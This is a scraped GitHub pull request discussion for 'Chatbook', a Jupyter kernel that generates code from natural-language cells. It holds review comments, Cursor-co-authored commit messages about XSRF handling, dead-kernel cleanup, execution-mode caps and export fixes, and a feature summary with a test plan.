The \r fix is better than what I asked for: normalizeCommentNewlines folds U+2028, U+2029, CRLF, and lone CR to \n, which covers every ECMAScript line terminator and is a strict superset of what Python's tokenizer treats as one, so the same code is correct for the // languages the same commit introduced.
The per-keystroke fix is in the right place. Rather than memoizing at the call sites, you put the early return inside setChatbookMentionsEnabled where the expensive appendConfig lives, and added the asymmetric if (!enabled) return so a never-enabled editor never receives the ViewPlugin and Prec.highest keymap at all. My instrumentation shows literally zero CodeMirror dispatches over the lifetime of a plain Python panel, which is a stronger result than merely skipping the per-keystroke pass.
And two things went beyond the report: sharedKernelSpecManager carries a comment explaining why the poller matters and you fixed the two unrelated index.ts command sites with try/finally, and _jupyter_server_runtime() now reads JPY_PARENT_PID exactly as launch_kernel writes it, with a test that deliberately backdates the mtime of the correct file, which is precisely the regression that needed pinning.
Happy to re-review quickly on the four items above.
CI installs mcp 1.x, where the SDK returns isError instead of is_error. Co-authored-by: Cursor <[email protected]>
A server started with --ServerApp.token='' authenticates the Chatbook kernel as an anonymous user but still enforces XSRF on POST, so every generate call failed with 403. The kernel now mints the cookie the way a browser does and echoes it back, and the error text names the URL. Co-authored-by: Cursor <[email protected]>
…tness Honor generated-code cache only after a session run, clamp execution policy in the kernel, fail closed on unknown languages, and recover from a dead backend / Run All abort. Also fix export comments, Jupyter runtime routing, and per-keystroke Chatbook work on non-Chatbook notebooks. Co-authored-by: Cursor <[email protected]>
The Chatbook rows widened the Source column, so Prettier's table alignment no longer matched and lint:check failed. Co-authored-by: Cursor <[email protected]>
…admin cap Second review pass fixes: - Stop ZMQ channels and the heartbeat thread when a backend kernel is detected dead, so replacing it does not leak file descriptors/threads. - Do not call ipykernel's interrupt_request from the wrapper; SIGINT to the wrapper while its shell thread relays the child's reply could orphan the active execute_request with no execute_reply. - Never export generatedCode whose promptHash does not match the current prompt; stale code is now commented out like an unrun cell. - Propagate the resolved admin execution cap into the Chatbook kernelspec env so a traitlet-configured cap is enforced kernel-side like the env var. - Fail loudly when JPY_PARENT_PID names a missing/invalid runtime file instead of falling back to another server owned by the same user. - Fail closed on any parse error in the static danger scan, and treat an explicit risky level with no reasons as risky. - Language-aware line comments with CR/LS normalization on export, and surface export failures as a notification instead of a dropped rejection. - Debounce per-keystroke Chatbook badge/toolbar syncs and share a single KernelSpecManager. Co-authored-by: Cursor <[email protected]>
|
Second review pass addressed in 9be2f61. Details per item: B1 — dead backend kernel leaked channels/threads. B2 — interrupt could orphan the active cell. The wrapper's B3 — export could emit stale generated code. B4 — admin cap was env-only, so the traitlet did not reach the kernel. The wrapper kernel cannot read the server extension's traitlets, so Adjacent fail-closed and polish items from the non-blocking notes:
Local checks pass: 74 Chatbook Python tests, 418 frontend tests across 34 suites, plus typecheck, eslint and prettier. |
Resolving the rebase conflict in inject_guidelines dropped main's early return, so AGENTS.md was injected even with rules disabled (test_disabled_rules_also_suppress_agents_md). Gate all injected guidance on rules_enabled again, and make has_chatbook_guidelines agree so the frontend cache hint does not claim guidelines the prompt will not contain. Co-authored-by: Cursor <[email protected]>
2 participants
Summary
Adds Chatbook, a notebook kernel where cells can be authored in natural language, generated into code, and executed in a backend Jupyter kernelspec you choose in Settings.
NL/Cdbadges), with toolbar actions to switch modes, show generated code, and export a regular notebook in the backend language (unrun cells become comments).chatbook(defaultpython3when present). Chatbook stays the notebook kernel and runs generated or authored code in that child kernel; highlighting and export follow the backend language.NBI_CHATBOOK_MAX_EXECUTION_MODE.modes/chatbook/andAGENTS.md(sidebar ask/agent/inline-chat rules do not apply).ChatbookContextProviderandChatbookMentionProvider(@mentions, including@ext:…).NBI_ENABLE_CHATBOOK=falsehides the kernelspec, Settings tab, commands, and generate/mention APIs (403).docs/chatbook.md,docs/chatbook-extensions.md, admin-guide and README updates. Tests cover generate/mentions/danger/enable, frontend cell behavior, and a UI test for the cell-mode badge.Test plan
@mentions and a custom context/mention provider (if you have one) appear in generation context.modes/chatbook/andAGENTS.mdaffect generation; ask/agent rules do not.NBI_ENABLE_CHATBOOK=false: kernel, tab, and generate APIs are gone.NBI_CHATBOOK_MAX_EXECUTION_MODE=always-confirm: Auto-run (and Confirm if risky if capped that way) is hidden/clamped.Made with Cursor